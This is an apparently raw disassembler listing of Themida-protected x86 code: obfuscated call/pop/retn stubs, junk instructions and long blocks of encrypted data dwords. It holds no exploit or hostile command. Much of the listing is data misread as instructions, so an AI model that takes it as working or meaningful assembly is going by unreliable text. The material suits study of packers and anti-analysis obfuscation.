loc_59FAC2: ; CODE XREF: sub_59FA56+11j dec ebp jle short near ptr loc_59FA51+1 setalc retn ; END OF FUNCTION CHUNK FOR sub_59FA56 ; --------------------------------------------------------------------------- das jge short near ptr loc_59FB39+8 retf ; --------------------------------------------------------------------------- lodsd db 2Eh mov bl, 7Dh loc_59FACF: ; CODE XREF: Themida_:loc_59FAB6j jmp loc_59FA31 ; --------------------------------------------------------------------------- dd 0EC1ABC78h, 0F2FA90E9h, 0A6E544A7h, 0F75CF0E5h db 81h ; --------------------------------------------------------------------------- loc_59FAE5: ; CODE XREF: Themida_:0059FAA9j lea ecx, [ebp+6154768h] movzx esi, cx mov [ebp+61009F5h], ecx push 0 push esi call sub_59FAFF and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59FAFF proc near ; CODE XREF: Themida_:0059FAF7p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_59FAFF endp ; --------------------------------------------------------------------------- and dh, 0E3h or al, dl push 39h dec edx xchg eax, ebp pusha or [ebp+6103075h], eax pusha mov ecx, [ebp+61020CDh] add [ebp+6102D45h], eax popa popa mov dword ptr [ebp+6102319h], 60A0h stc loc_59FB39: ; CODE XREF: Themida_:0059FAC8j mov dword ptr [ebp+61022C1h], 0 push 0 push eax call sub_59FB4E and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59FB4E proc near ; CODE XREF: Themida_:0059FB46p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_59FB4E endp ; --------------------------------------------------------------------------- dw 645Ah dd 0BD89E1F2h, 6100101h, 302DBD89h, 0B5FF0610h, 6102ED5h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D1C35040h dd 0BE9DCh, 6CEF0000h, 2A1658A2h, 62B17468h, 0B995FFC3h dd 6A06102Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0F2CEC357h, 0B5898713h, 6100B21h dd 95FF006Ah, 61031C9h, 1CEBC08Bh, 35A7D9F3h, 0E389D4C3h dd 557D15D5h, 550CC57Eh, 0BFF64CD7h, 0BB4128CEh, 22A4B94Dh dd 48108D8Dh, 850B0615h, 6100CA1h, 9F58D89h, 6A0610h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 2FB9C6C3h, 1985C713h, 30061023h, 80000074h, 85C7C7D3h dd 61022C1h, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_59FC47 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59FC47 proc near ; CODE XREF: Themida_:0059FC3Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_59FC47 endp ; --------------------------------------------------------------------------- push ss enter 0FFFFB777h, 2Bh push dword ptr [ebp+61000CDh] mov edi, [ebp+6100249h] call dword ptr [ebp+6102DB9h] mov esi, [ebp+6102A6Dh] push 0 loc_59FC76: ; CODE XREF: Themida_:0059FCDAj call dword ptr [ebp+61031C9h] mov eax, eax jmp short loc_59FCBE ; --------------------------------------------------------------------------- dd 6398945Dh, 754F17E4h, 2493B344h, 487BF53Dh, 95246B93h dd 0A4707F07h, 47E5076Bh, 85039A94h, 0EED2396h, 0D5333C20h dd 0A13F6DE5h, 64A6E2BDh, 1AD5467Eh, 0B8CBC42Bh, 0FE144D2Ch db 44h, 0C2h ; --------------------------------------------------------------------------- loc_59FCBE: ; CODE XREF: Themida_:0059FC7Ej xchg eax, ebp sbb ch, dl adc al, 71h pop edx outsd aas sub esi, [edx+6] aas mov esi, 9C61259Ah les ecx, [ebx+ecx*2+7B849E8Bh] rep sahf push ds aas jmp short loc_59FC76 ; --------------------------------------------------------------------------- dd 52366943h, 55E6EFEFh, 95EADEDBh, 273DF1B2h, 9C4F2A88h dd 19A64A05h, 8AD7AAB8h, 839F3F03h, 5A7E6C55h, 9AFE3CBDh dd 0FFF8B605h, 17B82F0Bh, 88E72A98h, 0C17CC003h, 0F6ABC5Dh dd 9AED2F05h, 0C9A52871h, 9AFE3CBDh, 0FFF8B605h, 17B82F0Bh dd 88EA3B98h, 0C17CC003h, 1A68595Dh, 0FB76B6A5h, 0B3F32F00h dd 8AFBF290h, 0F0BDB403h, 99566C05h, 0BA5F3F05h, 13F4FC5Eh dd 1BD31B59h, 8CEF1B41h, 0D9F53F05h, 37B6FC56h, 4AF6599Ch dd 2966B363h, 955B97B5h, 9AACE081h, 0C8D75505h, 9AEB3CEDh dd 59AF1F05h, 0BEAEB65Fh, 0BE39BE01h, 9ABE2A01h, 590D7D05h dd 0F245374h, 9CC71EECh, 0B7FA8286h, 95F53915h, 9AFA7B81h dd 2D725F05h, 2733B4C4h, 0FB592F1Bh, 9AACA0ECh, 0CBD75505h dd 9AEB3CEDh, 59AC1F05h, 0BEB6B65Ch, 0BE39BE01h, 9ABE2B01h dd 590E7E05h, 1312B4C5h, 73D12F00h, 9AEB3F02h, 7F84175Bh dd 91339A04h, 8A60EA90h, 0BDBE8103h, 55DF3D05h, 9D2AB279h dd 65D12C7Ch, 0CF76B4D5h, 1FF32F36h, 767E30C5h, 137D3F05h dd 8AB6B688h, 0CD67BE03h, 9554BE63h, 9AD77A80h, 9B56B405h dd 13F32F04h, 8AF716B8h, 0E2FC5903h, 95BC3D01h, 9A5C6581h dd 0C9AF5505h, 9AD73CEDh, 59B01F05h, 0BEA9B65Eh, 0BEBEBE01h dd 9A7D2201h, 59ED7C05h, 1546BBB7h, 0CA0929D9h, 1B81C4ACh dd 8D3FDFCAh, 1B936515h, 959AA33Dh, 9A7DB580h, 0F7330E05h dd 1A592F1Bh, 95473D7Dh, 9AD74580h, 0C9EB5505h, 9AF53CEDh dd 59A11F05h, 0BE21B65Eh, 0BEFABE01h, 9A5F2801h, 59FC7C05h dd 0C847CECEh, 34358063h, 9C8DBE63h, 1FF59405h, 9A7D3F4Eh dd 72E93F6Fh, 9A5F3F06h, 0C56C6025h, 9EF3438Ch, 9ECF7B84h dd 9AF53F1Dh, 2B396842h, 1811F01Fh, 9ABE30EDh, 0B57C0705h dd 0C32D7458h, 985E6A83h, 439CF454h, 83E0A28Eh, 23A03915h dd 0FCCA3C47h, 9ABCA1ECh, 1FDAB605h, 24A92F27h, 0DCD63E05h dd 0B416A28Eh, 1F783915h, 9CE94602h, 0AD94BE63h, 0F06EC0C2h dd 99B76D05h, 0BAAF3F05h, 138DFC5Fh, 1BEF1B51h, 82F11B41h dd 0D8FA3F05h, 2DC4FC57h, 1BD12A4Ah, 0D05B16EEh, 5322B437h dd 1FD12F15h, 8F6F30C5h, 0F0F53F07h, 99126E05h, 0BA7D3F05h dd 13E7FC5Ch, 1B5B1B49h, 82AB1B41h, 0DBD73F05h, 2034FC54h dd 1B2CF52Ah, 98C7593Dh, 0ADF83007h, 20BE3F05h, 0FFB7A002h dd 0FCA94784h, 95AD6038h, 9AE93181h, 0CCF55505h, 9AFA3CEDh dd 59231F05h, 0BECAB65Bh, 0BE1BBE01h, 9AAF2A01h, 59817905h dd 7621D59h, 9CE52594h, 1B9CEEB4h, 951DA33Dh, 9ABE0180h dd 0E3D2B405h, 1AA92F2Bh, 953F3D7Dh, 9AEB1180h, 0DF68B405h dd 13FC2F05h, 8A699E90h, 0E23F5903h, 959F3F03h, 9AAF2980h dd 9B4AB605h, 73ED2F35h, 9AF53EAEh, 0DB415953h, 24C4667Ch dd 248C66AAh, 0E45E3E05h, 72FA3F6Fh, 9AD73F06h, 0C7286225h dd 9ED1538Ch, 9EDE7B84h, 9A7D3F1Ch, 9D7D6A40h, 0AF0F7D34h dd 0F31A3E83h, 17D12F0Bh, 89923880h, 9F783003h, 21FA3F05h dd 0B8187E4Ch, 0A87BBA8Ch, 4AA03915h, 72F93F6Fh, 9AD73F06h dd 0C4286125h, 9ED14B8Ch, 9EDE7B84h, 9A7D3F12h, 4D7D6943h dd 1FF14CFDh, 672B30C5h, 0F0D73F05h, 99036A05h, 0BAF53F05h dd 13A7FC58h, 1B791B69h, 8CBA1B41h, 0DF5F3F05h, 5521FC50h dd 0F810BF95h, 95030785h, 9AF56680h, 1AA38D05h, 950E3A7Dh dd 9ABE7280h, 9A4FD605h, 0E0F43F05h, 19C8ACD9h, 0A3905BACh dd 0BA8442DCh, 0E27AE67Ch, 1E726C02h, 9ABE3FDAh, 720A3F6Fh dd 9AAF3F06h, 0C7146225h, 9ECF538Ch, 9ED17B84h, 9AFA3F11h dd 0CCBE6A40h, 9AB4D7F0h, 34203F05h, 0CEB338D9h, 7B83A2E3h dd 1B8D65FCh, 95F0B03Dh, 9AFA5080h, 27F0B605h, 1AB82F0Bh dd 9537397Dh, 9AAF6080h, 53683005h, 9193BE63h, 1FFA1AFAh dd 9AFA3F55h, 722A3F6Fh, 9ABE3F06h, 0C59C6025h, 9E8B438Ch dd 9EF37B84h, 9AEB3F11h, 0AE366842h, 1330B465h, 8A6C7E80h dd 0C6575E03h, 0F05F3F05h, 99476805h, 0BAD73F05h, 13B4FC5Ah dd 1BF11B79h, 8DFE1B41h, 0DD7D3F05h, 56ACFC52h, 27D6BF68h dd 9CBF18B0h, 25B1FF2Eh, 0AB021006h, 0F0F53F05h, 99126905h dd 0BA7D3F05h, 13E0FC5Bh, 1B5B1B71h, 8FAB1B41h, 0DCD73F05h dd 0D0B0FC53h, 9AF535ECh, 2650E205h, 0E9BC4E29h, 226496A4h dd 9A5F3F04h, 9AAAD655h, 6AEE3F05h, 13E9C545h, 9A9F1B01h dd 9AF9D750h, 0C75D3F05h, 0F63762C6h, 0DEDE3B21h, 9ABB3B21h dd 0CF923F05h, 1BE4F4C6h, 9AF53F00h, 7E7270BCh, 0C9C0B24Fh dd 17B82A4Dh, 8F124988h, 0CF8C8703h, 1FD44863h, 9CFB1E38h dd 524F02Eh, 6FE45E3Eh, 672FA3Fh, 259AD73Fh, 8CC72862h dd 849ED153h, 1C9EDE7Bh, 5E9833Fh, 6058A4F3h, 1FD98D8Bh dd 850F0610h, 1, 6A61FCh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 5D0C4DC3h, 5A51231Ah dd 0C00B1086h, 81840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 8D47BAC3h, 104E85B5h dd 0DE806h, 0AABB0000h, 361D6B6Ah, 0F61C8D0h, 0E9915907h dd 14h, 4C77E87Ah, 0D0681616h, 615E6D8Ah, 44C325C5h, 0A7FEC971h dd 3B859h, 0E6FF0000h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0FC35040h, 0F49C093h, 682h, 0D1958900h dd 40061023h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 48C35040h, 9D8B0D22h, 6101435h, 6AC08Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0B06490C3h, 0A58E3ABAh, 0D3816680h, 83F8EC53h, 10158DBDh dd 9750006h, 95BD83h, 74000610h, 8B535019h, 403B8C0h, 85890000h dd 610132Dh, 0B87C9D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h dd 50177400h, 403B853h, 85890000h, 610132Dh, 0B51D9D8Dh dd 0D3FF0612h, 0CD80585Bh, 0FB8B66EDh, 6AC08Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0E84259C3h, 0A27C082Fh, 0DE61C3C8h, 0D4D4712Ah, 1DC4B46h dd 0D4C8557Fh, 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah dd 338805D6h, 0FFB44E60h, 0F867A5E4h, 0A0883B76h, 0D612A3BEh dd 79672020h, 0DB71A3BAh, 0D71B2023h, 33881736h, 831D2933h dd 0C0982633h, 0B3D70EB6h, 0D6157635h, 0AF8D6929h, 3D0DD963h dd 839E363Ch, 35982664h, 1F152359h, 4B8D6919h, 0BC1DAB63h dd 39E337Ch, 0A199B3CCh, 14932023h, 6AA1A23Ch, 0B0152633h dd 9C8D6919h, 4DAACE63h, 0F6D82633h, 1CA8A3BEh, 24C82026h dd 0C1D70CB6h, 0FF677635h, 33882462h, 1794E2B0h, 58D70CB6h dd 23157635h, 558D6929h, 400DD963h, 3D9E363Ch, 6A982651h dd 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h dd 2C97260Ch, 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h dd 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h, 0D49BCF33h dd 896F2633h, 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh dd 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h dd 9C8D692Bh, 1DD5ABBEh, 93202026h, 78000000h, 271E7FCh dd 0C8D00731h, 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 615504Dh dd 506C8D8Dh, 0CF2B0615h, 8B05E983h, 365820C8h dd 3631C854h, 6B121001h, 5ABB55C2h, 72B30025h, 36270625h dd 63770101h, 888D63C2h, 457859B1h, 5CEAAC67h, 35DA4701h dd 16320801h, 0BF6DC75Eh, 0B736267Dh, 2F362545h, 71328001h dd 2CCE8356h, 49EE26ADh, 24EB8D8Ah, 0DF520E11h, 36320412h dd 28F17564h, 43602BC1h, 75F74FE8h, 635A0176h, 3953E03Ah dd 3632168Eh, 87878301h, 57341408h, 0B23D06A9h, 36320385h dd 0DE65806Bh, 36324002h, 69F17F21h, 32166C88h, 32164C80h dd 3632041Dh, 0E6F15546h, 0E0C6C7EFh, 0FC92E65h, 3AE5C167h dd 278FA34Fh, 3634002Ch, 36008C0Eh, 7FDB0401h, 5C320203h dd 35DA5701h, 16328001h, 0BF6C835Fh, 0B7360475h, 2E363445h dd 70320801h, 5DEC757h, 0DF5F1704h, 36320109h, 72662A64h dd 987C9AB1h, 60607051h, 363203E8h, 37A21E01h, 19F5ECABh dd 52A85590h, 6E2E2A33h, 0B9435241h, 0DF034F5Eh, 3632200Fh dd 0F1A411C5h, 0F06CB0BCh, 35439A65h, 6E68DBEBh, 5C160588h dd 35DAD101h, 16324001h, 0BF6BE358h, 0B736344Dh, 2B362C45h dd 77320401h, 0E1F4C150h, 0BE651E86h, 49880FC6h, 127E410Eh dd 0FB8846FFh, 0E5B9488Ah, 391EC882h, 36320687h, 0BDF3B501h dd 34BF0E09h, 0BD328001h, 7EB926F0h, 66324AFDh, 363213E9h dd 0F56A2801h, 12768D59h, 12768305h, 36321605h, 0F562C001h dd 74FD9012h, 363232E8h, 3C153F01h, 0EF0FE89Ah, 5F149B38h dd 534E8349h, 505A9FBCh, 0C904B980h, 36CBC40Eh, 0B3BB2001h dd 302216BCh, 5C3BC982h, 35DA5601h, 16320201h, 0BF68C25Bh dd 0B736A455h, 2D366445h, 74322001h, 7AC5D353h, 6A5C6C97h dd 4C897A14h, 0B662A8FBh, 0B33DE838h, 36328121h, 0DE63406Bh dd 36322002h, 6FF14921h, 32164488h, 32164080h, 36320214h dd 51F15040h, 83BBE018h, 30224EE8h, 3622AD0Eh, 3CDA1001h dd 8D320801h, 0CCAE68D0h, 68B19C27h, 0BD535E3Eh, 22DA8140h dd 6A324001h, 33E487A5h, 0BCFE11DBh, 3F4E8D40h, 87C81D68h dd 0BD645C09h, 2636E494h, 0FE31DE07h, 150FF502h, 0F7B12611h dd 65327A04h, 36320BE9h, 0F5692401h, 126E8B5Ah, 12768005h dd 36329B05h, 0F5610301h, 0CD92301h, 0B72C02F4h, 1C07B58Ah dd 0FB30211h, 0BD714991h, 36B0840Eh, 36588001h, 3631A853h dd 6C122001h, 62BB4AC2h, 72B30C25h, 362B0025h, 64700201h dd 48AE51C2h, 0BB56CA4Fh, 267CC58Ch, 63324A07h, 363213E9h dd 0F56F2801h, 125E8D5Ch, 12768305h, 36321B05h, 0F567C501h dd 9173DC68h, 0B7BC72ACh, 5D7EAFCEh, 3631B004h, 89540401h dd 0D7CD5F76h, 0DE61016Bh, 36328002h, 6DF11B21h, 32167C88h dd 32165480h, 3632081Ah, 0FEF15742h, 3D909361h, 50C003F1h dd 529F5680h, 66322A60h, 363223E9h, 0F56A3001h, 12768159h dd 12768505h, 36321405h, 0F5624101h, 0DF4E4BE9h, 3632400Dh dd 0F74D3EC9h, 38944C70h, 0DF86202Ah, 665CB98Ch, 0BBBF0414h dd 302752B8h, 0A4B1F4B9h, 83B77300h, 1D343008h, 365820CEh dd 3631C854h, 6B121001h, 5ABB55C2h, 72B30025h, 36270625h dd 63770101h, 0F305E983h, 6AC08BA4h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 0DFF4C350h dd 73944E60h, 0D45BD89h, 10E90610h, 0D7000000h, 0CC8DCC32h dd 0E46AFD56h, 5BDE29FCh, 8BB20E8Fh, 6E8C3h, 0BFF0000h dd 141B547Fh, 4D08B866h, 0C88B665Ah, 5D3AC281h, 0DFBB0000h dd 0BE40E1E3h, 793B6C15h, 0AB0EC681h, 8D3386C4h, 6102E59h dd 9D2B3A8Bh, 6100089h, 0B338F781h, 7CB41FD8h, 8E6FC781h dd 0B5502CB8h, 0C7815B4Dh, 5F9F1731h, 89C2BF0Fh, 0DE83Ah dd 95990000h, 93BF31DAh, 0CAB4F3B0h, 0E9704D50h, 5, 0C04B6BB8h dd 0EA8358D1h, 1EE8304h, 22850Fh, 8E0F0000h, 6, 6CD8589h dd 29E90610h, 6B000000h, 0D49E51DFh, 1C0D7F7Ah, 0F8AE635Ah dd 0FDA5390h, 0FFFF8BE9h, 2F76EAFFh, 5BEAD596h, 8B9E9E3Bh dd 2113D4BDh dword_5A0934 dd 0EB3DEA7Fh, 55D98D8Dh, 8D0F0615h, 6, 0BCDBD29h, 8D890610h ; DATA XREF: Themida_:0054E52Co dd 61009F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 96C35343h, 9D09A112h, 6100D51h, 231985C7h, 5D6C0610h dd 8B660000h, 0C185C7FAh, 61022h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 6F0FC357h, 95012BEEh, 61030C1h, 0B9BB6653h, 9D8B5E13h dd 6101CD5h, 0BB9B5FFh, 6A0610h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 12E86AC3h, 0E1000000h dd 73436134h, 4A9630Bh, 3ED375DCh, 0CEB52643h, 0AE95E86h dd 57000000h, 0EF78152Eh, 9F05DD2Eh, 0B995FF12h, 6A06102Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 3FBFC353h, 0B49C66C3h, 0D8B6A48Dh, 58F0F50h dd 0BE000000h, 7FBA10E3h, 0FF006A58h, 1031C995h, 0EBC08B06h dd 0DA5B6B4Fh, 1AFAE887h, 37D3DCBAh, 0E28CCAE8h, 0B4D94EDFh dd 435DF728h, 0F3FF290Fh, 601325D5h, 0B955F672h, 281B98DCh dd 0C641AD04h, 0C1BAF195h, 5BA420E6h, 6976CC2Dh, 278C05F8h dd 46339701h, 0BE8EC570h, 0CD1DC0A7h, 0AF92EF8Ch, 0D7A9D423h dd 12E8h, 538C5100h, 760F6A56h, 160DA97Ah, 361E4195h, 5F8B2053h dd 68C0Fh, 8D2B0000h, 61022A1h, 701FC781h, 66530000h, 0C2EAC981h dd 0FC9CBB5Ah, 0F3817B9Ah, 7B9AE749h, 8B02DD80h, 618D8B07h dd 8106100Ch, 1EE367E8h, 0BD8B6021h, 61008D1h, 7E960h dd 64BB0000h, 4693B53Dh, 15858950h, 61061007h, 8DC08161h dd 8B40E583h, 102DA5B5h, 0C5C08106h, 0F12E505h, 1F80h dd 81666000h, 0E974DAC7h, 13h, 43B0C371h, 0C2E1C3B0h, 0D6EEA0EEh dd 0B232D5AEh, 61B86B47h, 12E90789h, 96000000h, 1EF392CBh dd 63B314B0h, 3C4A391h, 47A1E90Fh, 4EF8310h, 2A318D8Bh dd 0EB810610h, 1, 0FF71850Fh, 8D8BFFFFh, 61013FDh, 57AC8D8Dh dd 0B52B0615h, 6102179h, 9F58D89h, 0F98A0610h, 231985C7h dd 6DC80610h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 32B6EEC3h, 85C7C68Bh, 61022C1h dd 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5A0BBF and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A0BBF proc near ; CODE XREF: Themida_:005A0BB7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp locret_5A0BCE: ; CODE XREF: Themida_:005A0BD1j retn sub_5A0BBF endp ; --------------------------------------------------------------------------- jmp short loc_5A0BD3 ; --------------------------------------------------------------------------- jmp short locret_5A0BCE ; --------------------------------------------------------------------------- loc_5A0BD3: ; CODE XREF: Themida_:005A0BCFj inc esp jmp near ptr 0B65977F1h ; --------------------------------------------------------------------------- push ecx pop ds adc [esi], al push 0 push edi call sub_5A0BE8 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A0BE8 proc near ; CODE XREF: Themida_:005A0BE0p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5A0BE8 endp ; --------------------------------------------------------------------------- dd 56502D57h, 0B995FFD9h, 0E906102Dh, 8, 0E6A64452h, 9342B20Fh dd 95FF006Ah, 61031C9h, 4EEBC08Bh, 2D71B35h, 0FD53499Fh dd 8962C745h, 0CD1A7F11h, 0F6FE36D3h, 711F11A9h, 0B40F18D2h dd 60A957F6h, 0E382E5A8h, 97E67E04h, 8F330EBEh, 0FAEC5DD6h dd 28C1A416h, 0D00D6B7Ah, 0CBFB1039h, 2FD59D81h, 247733Fh dd 39CB53AFh, 0AD90C09h, 12E89F1Dh, 32000000h, 433CD04Ah dd 67B3D85Ch, 0ACC4AED7h, 9C688288h, 0D9853116h, 5F061013h dd 1DBD9D33h, 0C7810610h, 5BFBh, 21A59D89h, 680610h, 58000000h dd 0FFF1B70Fh, 0DF8B3834h, 9D8B5359h, 6102FA9h, 68C1815Bh dd 811E27E7h, 58672FCBh, 2CE98176h, 0F34605Dh, 683h, 19958B00h dd 8106100Bh, 0AFA09DE9h, 41BD8959h, 5106100Ah, 46EE8153h dd 5B1323C9h, 6607048Fh, 0E973D9BAh, 6, 0CF565E08h, 0E881A368h dd 4A7EA90h, 15618589h, 0C0810610h, 4A7EA8Ch, 86BB6652h dd 0F8815A30h, 0FFFFA4C0h, 0FF89850Fh, 0FE9FFFFh, 0A5000000h dd 0D05BC954h, 15666A67h, 0E6ECE940h, 8D8DA8A5h, 61559C4h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 3AC35646h dd 6E6FF76h, 0C681EFE6h, 5195081Fh, 9F58D89h, 8B660610h dd 1985C7D6h, 98061023h, 6A000070h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0B624C356h dd 0F89CCA58h, 0E9B4727Eh, 0Dh, 14978CD5h, 0A2A64858h dd 19C295Ah, 0E985013Eh, 0C7061032h, 1022C185h, 6, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 41726D56h, 0FF500EDDh, 101F51B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0B52388C7h dd 610329Dh, 2DB995FFh, 6A0610h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 85891EC3h, 6101705h dd 95FF006Ah, 61031C9h, 4EEBC08Bh, 0EFE4BBD2h, 1C609D1Ah dd 0F0B87F7Fh, 15DF0FC9h, 0C28017BFh, 0F442AD17h, 0A99F2272h dd 8B9B9378h, 9B3FC7F8h, 1B200387h, 0D17C6D10h, 7DA828AFh dd 0F3C1F14Ah, 44EEBEF7h, 181ECB32h, 907F678Bh, 6B750430h dd 11FE1D6h, 0C8B9595Fh, 20E94D80h, 64000000h, 26907Fh dd 6 dup(0) dd 0E9000000h, 4EEh, 4AFE41F1h, 6ADE15CBh, 41FD36EBh, 64D815BAh dd 38F433D5h, 20C43652h, 3BEE6DE1h, 13B73EFAh, 2ED564D8h dd 764A45F9h, 0D9260FB3h, 420AE76Bh, 50447932h, 74F9739h dd 27B34C6Dh, 8A11CDA9h, 0B1B9A3E1h, 253B43A6h, 0DCC8FDA6h dd 11887C58h, 0C67C2F5Ah, 1E6DCCE2h, 8D4C1E42h, 70F4A0D7h dd 0DD12B9h, 0B4E187FEh, 0CCE24DF5h, 0ECDA96Dh, 4E421E57h dd 44ED841Bh, 9B9709Bh, 266DCCE2h, 0D4504481h, 0C304A51Ch dd 5D6F53CFh, 0CCE214AEh, 5074F06Dh, 903702DCh, 0CCBA75Bh dd 0EE721E53h, 71AC62D9h, 388A815Fh, 0DC6DCCE2h, 9F36B80h dd 0AF639A52h, 691D96B3h, 16E8422Eh, 0CCE2AF13h, 0FEEB476Dh dd 33B91FA2h, 83502D03h, 0E3F5A1E2h, 0BA70B150h, 934CCB7Fh dd 0B7728C5Eh, 6DCC200Bh, 0AC5A6FEBh, 0CC2040FDh, 59F8C76Dh dd 3307BE7Dh, 5D7A568Dh, 6ADA579Ah, 593733h, 32950000h dd 542A4479h, 0CC7CED55h, 518C426Dh, 4C812AA1h, 0C4FBB128h dd 877754D0h, 0CC7C60E0h, 7B1AA96Dh, 6B36337Eh, 11333h dd 0D7790000h, 7C4002A9h, 0C8A46DCCh, 498028B3h, 0E0624937h dd 46DCC7Ch, 34535328h, 2AA1558Ch, 215C4885h, 8A42E382h dd 0A760D753h, 3230B672h, 0E062497Eh, 46DCC7Ch, 0C5A1D68Dh dd 2ED6F5A1h, 0B256E5F7h, 0C6A37F73h, 41E083D8h, 62E42CE0h dd 0A643FD6Bh, 0CBC67C2Fh, 421E6DCCh, 0F86421Eh, 0A5E48858h dd 2AE56CF1h, 0F04F7872h, 77B055D4h, 0D7CBA78Bh, 0F82DD665h dd 78B158E3h, 1C5B0D8Ch, 80BF7168h, 0DA4B794h, 69DD6BFh dd 0F4FF5C4h, 0B905ECBh, 607D5960h, 6AA46697h, 7A4633h dd 26380000h, 0C4B3F093h, 6DCCFA7Eh, 0E7BD9A96h, 206104D7h dd 60DBF074h, 22B96DACh, 0F54D3C6Bh, 4A6DCC7Ch, 0B6B26AA3h dd 0ECD3E69Ah, 45EA7155h, 43181C08h, 1995D478h, 0C3AFEEA2h dd 2EE21FC4h, 32B74E65h, 336B33EFh, 50CFh, 96D73D00h, 6A1BD4A6h dd 8FD14429h, 57F9C297h, 47126C18h, 0B6BA66A5h, 361348FFh dd 0E28EC97Dh, 98993807h, 76CCBFF4h, 8E6DCC8Dh, 6CFAAE92h dd 4F437A32h, 0CC7CBF08h, 0A03F806Dh, 6B356C45h, 0AC5DDC33h dd 0FEE217D0h, 97390E12h, 1, 427B32F5h, 5B90374Eh, 0EF863DA7h dd 0F2669F46h, 7B55868Dh, 0ABF2AC52h, 81565C0Eh, 694FAC5Fh dd 3B3767FCh, 62975047h, 83B86FE6h, 1878C88Fh, 1AD1943Ch dd 4C3F31E5h, 943C18F6h, 0F193120Eh, 54EBBEB2h, 0E3BC0FBDh dd 93EE54Ch, 0A02209F7h, 44943C18h, 0CC4B13E8h, 3832DE13h dd 18DF6326h, 3B37943Ch, 1EEE951Eh, 0DF432F66h, 0D4780F03h dd 45EAE195h, 897DBA6Dh, 0E2DDC9ADh, 691EA241h, 411FBB5Ah dd 3C18F84Ah, 2B401C94h, 0A8C2F7B0h, 0FCA48031h, 7155D1C5h dd 0D617E25Ch, 0B6397AD1h, 0F0h, 0E9EEA3C8h, 0DD45826Dh dd 9ECB5899h, 7653AB11h, 1EBD5CAEh, 266C5D4Ch, 37A67FCh dd 0F67A265Dh, 0F8AF26DAh, 0D79007C3h, 30D7EEA2h, 315207FBh dd 0B7EC9392h, 44471903h, 9423AAFEh, 3A3D1A16h, 397B5F77h dd 4757h, 0C15CB500h, 9B1E401Ah, 0D5CEABE8h, 0EDCC7C4Dh dd 52190D69h, 0EDCC7CF0h, 0C8871EDDh, 0AAD4A635h, 0CC7C43FFh dd 10C7A3EDh, 0F26E2257h, 9A0803D5h, 3A6DCC7Ch, 9A4D0CDEh dd 0E4B6805Dh, 8C78AF55h, 6116D3A8h, 66000000h, 4C1EBD5Ch dd 0FC0C3C5Dh, 7C4ECA67h, 70BCEB4Fh, 0C2797FEBh, 0CFACF0Eh dd 2DA1D68Dh, 0D4C0F5AEh, 238D3A85h, 0F3923194h, 88447932h dd 2D3F9C3Bh, 205EAD40h, 363F2C6Dh, 555426DDh, 942333EDh dd 28502D09h, 1699A981h, 35E13D9Eh, 0CCB8ED96h, 0D38827DAh dd 0C6C59744h, 94202314h, 72F8B4B0h, 0C4EE96D7h, 610EFF65h dd 1DAF98Ch, 0A24A11EFh, 644AF362h, 0DF03BB5Dh, 0CBC9210Ah dd 15D67F9h, 98CD7615h, 0B9EE9524h, 0DF409ECDh, 0AAF9F5A3h dd 0B1812A0Bh, 5F03C2FDh, 0D8C4024h, 56752156h, 168074B1h dd 0A65DC45Bh, 853EBD71h, 0FCAA450h, 0DE64275Eh, 36B4A9DFh dd 8841163Ah, 3, 326D5FF4h, 52493D80h, 19B06499h, 4F463A75h dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h dd 0CF554178h, 81E68956h, 4C6h, 